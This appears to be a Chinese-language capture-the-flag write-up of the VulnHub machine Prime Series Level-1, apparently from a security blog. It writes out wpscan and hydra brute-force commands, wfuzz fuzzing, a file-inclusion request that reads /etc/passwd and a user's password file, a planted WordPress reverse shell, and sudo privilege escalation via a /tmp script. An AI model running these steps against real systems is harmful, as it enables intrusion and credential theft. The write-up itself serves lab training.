Vuln靶机Prime_Series_Level-1


typora-copy-images-to: upload


主机发现

image-20250210164044437

端口扫描

image-20250210164100519

80端口

image-20250210130621389

目录扫描,发现这是一个wordpress站点

image-20250210164413655

利用wpscan对网站后台进行暴力破解,并收集可能的用户信息,爆破失败了,但是发现了一个用户victor

wpscan --url http://10.10.10.203/wordpress -e u -P /data/SecLists_Dict/Passwords/xato-net-10-million-passwords-100000.txt

image-20250210193756135

利用ssh爆破(失败)

hydra -lvictor -P /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt -t 4 -vV 10.10.10.203 ssh

利用wfuzz测试一下有没有其他的文章没显示出来的

wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200

image-20250210195233415

继续查看目录扫描的结果,翻到一个dev,被嘲讽了

你好,现在你处于0级阶段在实际的渗透测试中,我们应该使用我们的工具在网络上进行深入挖掘。快乐的黑客。

image-20250210200245822

看看还有没有其他文件

gobuster dir -u http://10.10.10.203 -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js

image-20250210200937440

有一个secret.txt文件,大致意思呢就是说让我们进行一个模糊测试,这个测试的参数下面有一个location.txt文件,如果没有扫出来,你可以利用下面这个开源字典,帮助你更好的通过oscp考试

image-20250210200908174

访问

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
1. WFUZZ

====================================================================================

 #    #  ######  #    #  ######  ######
 #    #  #       #    #      #       #
 #    #  #####   #    #     #       #
 # ## #  #       #    #    #       #
 ##  ##  #       #    #   #       #
 #    #  #        ####   ######  ######

====================================================================================

--------------------------------------------------------------------------------------
(i) USE WFUZZ TO ENUMERATE CORRECT PARAMETER FOR A PAGE.
---------------------------------------------------------------------------------------

COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something

And the result is given below

000216:  C=200      70 L          500 W     2006 Ch   "configs"
000200:  C=200      70 L          500 W     2006 Ch   "cm"
000201:  C=200      70 L          500 W     2006 Ch   "cmd"
000195:  C=200      70 L          500 W     2006 Ch   "classified"
000197:  C=200      70 L          500 W     2006 Ch   "client"
000204:  C=200      70 L          500 W     2006 Ch   "coke"
Finishing pending requests...

----------------------------------------------------------------------------------------------------------------------
(ii) BUT ABOVE COMMND FAILED IF PAGE ALWAYS RETURN 200(HTTP REPONSE). NOW OUR MODIFIED COMMAND IS  =======>
----------------------------------------------------------------------------------------------------------------------

COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something

And it will return result which is given below.

Total requests: 950

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000357:  C=200      70 L          500 W     2006 Ch   "file"

Total time: 3.753362
Processed Requests: 950
Filtered Requests: 949
Requests/sec.: 253.1063

Here we can see C=200(Our HTTP Respone from server). 
7 L ==> It means 7 lines return by server. 
500 W  ==> It means 19 words total count by wfuzz.
2006 Ch  ==> It means 206 total chars count by wfuzz which is return by server.

After using filter we can remove wrong parameter from our output and right output with right parameter we get.

--------------------------------------------------------------------------------------------------------
(*)WORKING WITH FILTERS:                                                                               |   

(i) If we want to filter words then we used switch --hw (words_lenth. In above example --hw 12)        |
(ii) To filter lenth then we used --hl(In above above example this would be --hl 7)
(iii) For chars we used --hh (In above example this would br --hh 206)                                 |
(iv) For response code we use --hc. And always we attach --hc 404. Because this is common for all.
                                                                                                       |                                                
--------------------------------------------------------------------------------------------------------

----------------------------------------------------------------

(iii) USE WFUZZ TO FIND OUT SUBDOMAINS.

----------------------------------------------------------------

COMMAND ==>  wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 617 -u website.com -H "HOST: FUZZ.website.com"

USE filter to reach your actual subdomains like below command.

COMMAND  ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 7873 -u hnpsec.com -H "HOST: FUZZ.hnpsec.com"

上wfuzz

wfuzz -u http://10.10.10.203/?FUZZ=location.txt -w 
/data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --hw 12

image-20250211195649321

发现了一个file参数

做一些更好的, 好的,现在你找到了确切的参数,现在挖掘更多的下一个<br>在其他php页面上使用‘secrettier36o’参数更有趣。

image-20250211200214335

那么根据提示修改参数filesecrettier360,继续fuzz,只发现了两个相关的php文件

wfuzz -u http://10.10.10.203/FUZZ.php?secrettier360=location.txt -w 
/data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --sc 200

image-20250211200832068

进行测试,”最后你得到了正确的参数“

┌──(root㉿kali)-[~]
└─# curl http://10.10.10.203/image.php?secrettier360=location.txt
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br></html>

说是得到了正确的参数,看样子是文件包含,之前读取的是一个txt文件 location.txt,那么直接包含/etc/passwd,之后又发现了这个用户后面写着一个提示,说password.txt文件在/home/saket文件夹下面

image-20250211202150150

找到了密码follow_the_ippsec

curl http://10.10.10.203/image.php?secrettier360=/home/saket/password.txt

image-20250211202243026

测试了两个用户的ssh皆失败了

image-20250211202601083

利用那就wordpress密码碰撞,找到之前写文章的用户victor进行登录,登录成功

image-20250211202545890

其他的文件都不能修改,只有这一个Twenty Nineteen主题下的secret.php可以修改

image-20250211203619866

填写反弹shell脚本并修改

image-20250211203712255

攻击机器开启监听

image-20250211203759902

这个路径是wordpress主题文件下的默认路径,使用curl请求即可反弹shell

curl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.php

image-20250211204734765

创建交互式终端

python -c 'import pty; pty.spawn("/bin/bash")';

切换到wordpress根目录,找到了数据库密码

wordpress
yourpasswordhere

image-20250211205311838

登录mysql

mysql -uwordpress -pyourpasswordhere

image-20250211210107844

只有victor一个用户,密码我们已经知道了,没有其他东西了,利用数据库密码登录这两个用户试试(均失败)

www-data@ubuntu:/home$ ls
ls
saket  victor
www-data@ubuntu:/home$ su saket
su saket
Password: yourpasswordhere

su: Authentication failure
www-data@ubuntu:/home$ su victor
su victor
Password: yourpasswordhere

su: Authentication failure

切换到home下面包含了一个user.txt可能用得上

image-20250211210620480

识别hash类型,看样子是md5

image-20250211210703391

尝试过好几个解密网站都失败了

image-20250211210813619

利用sudo -l查看可以使用sudo的文件,有一个enc,执行一下需要我们输入密码

image-20250211212639149

在opt文件夹下面可以找到密码信息

image-20250211212052946

执行,但是有两个文件,enc.txt,key.txt没有权限读取

image-20250211212317282

接下来加上sudo,提示了一个good

image-20250211212835689

此时该文件夹下面出现了两个文件

image-20250211213009069

其中key.txt是一个提示信息,加密后的结果为366a74cb3c959de17d61db30591c39d1

因此,将字符串“ippsec”转换为md5哈希并使用它来获得您的真实形式

enc.txt是一段乱码

nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=

有一个key,一段密文,但是没有偏移量,普通AES需要偏移量但是ECB的加密模式不需要

image-20250211214111740

解密结果为

Dont worry saket one day we will reach to
our destination very soon. And if you forget 
your username then use your old password
==> "tribute_to_ippsec"

Victor,

切换用户成功

image-20250211214200659

再次利用sudo -l

image-20250211215815575

利用sudo执行这个文件后,可以看到下面有一个提示,没有找到相关文件 not found,看样子是让我们写入一个脚本进行提权

if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found

利用刚刚反弹shell的php脚本进行反弹,再用sudo执行此文件即可提权成功

echo 'php /var/www/html/wordpress/wp-content/themes/twentynineteen/secret.php' > /tmp/challenge

chmod +x /tmp/challenge

sudo /home/victor/undefeated_victor

image-20250211220247985

至此提权成功

往期推荐

红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学

Linux 32位Crossfire游戏缓冲区溢出

独立开发零显卡AI引擎!媲美DeepSeek,附源码

【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了

神器分享 红队快速打点工具-DarKnuclei

从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

【渗透测试】12种rbash逃逸方式总结

利用MySQL特性,WAF绕过技巧

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞18 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容